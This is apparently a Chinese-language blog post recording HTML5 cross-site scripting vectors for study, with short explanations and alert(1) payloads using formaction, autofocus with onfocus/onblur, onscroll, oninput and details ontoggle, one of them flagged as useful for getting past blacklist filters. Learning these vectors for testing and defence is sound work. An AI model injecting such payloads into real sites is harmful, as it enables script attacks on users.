本文对一些能触发XSS的方式进行记录与学习。

HTML5特性向量

通过formaction属性进行XSS – 需要用户进行交互

  formaction 属性规定当表单提交时处理输入控件的文件的 URL。

  formaction 属性覆盖 <form> 元素的 action 属性。

  注释:formaction 属性适用于 type=”submit” 和 type=”image”。

  

描述
URL 规定当表单提交时处理输入控件的文件的 URL。

可能的值:

  • 绝对 URL – 某个页面的完整地址(比如 href=”http://www.example.com/formresult.html”)
  • 相对 URL – 指向当前站点内的一个文件(比如 href=”formresult.html”)

  用法如下,表单内容是将输入值提交到百度,而在第二个按钮中加入formaction属性则可以覆盖掉表单action,实现XSS。

  <form action=”https://www.baidu.com” method=”get”>
  First name: <input type=”text” name=”fname”><br>
  Last name: <input type=”text” name=”lname”><br>
  <button type=”submit”>提交</button><br>
  <button type=”submit” formaction=”javascript:alert(1)”>提交</button>
  </form>

 

通过autofocus属性执行本身的focus事件

  onfocus事件是指当输入域获得焦点时触发的事件。而autofocus属性可以自动使输入域获得焦点,从而触发XSS。

  <input onfocus=alert(1) autofocus>

  onblur事件与上一个相反,是指输入域失去焦点时触发事件,我们可以在其他输入域上加入autofocus属性触发XSS。

  <input onblur=alert(1) autofocus><input autofocus>

 

 

onscroll 事件

  onscroll事件是指当滚动条发生滚动时触发的事件,利用方法如下:

  <div onscroll=alert(1)>
  <br>
  <br>
  <br>
  <br>
  <br>
  <br>
  </div>

 

oninput事件

    oninput事件发生在输入数据时,利用方式如下:

  <body oninput=alert(1)><input autofocus>

通过<DETAILS>和onggle 执行JavaScript

  ontoggle事件为打开或关闭下拉菜单时触发的事件。

  <DETAILS>元素会触发“ ontoggle”事件,而无需用户在基于Blink的现代浏览器上进行交互。由于事件标签组合不是很为人所知,因此可以滥用它绕过黑名单。

  <details open ontoggle="alert(1)">

版权声明:本文为Logge原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://www.cnblogs.com/Logge/p/12213764.html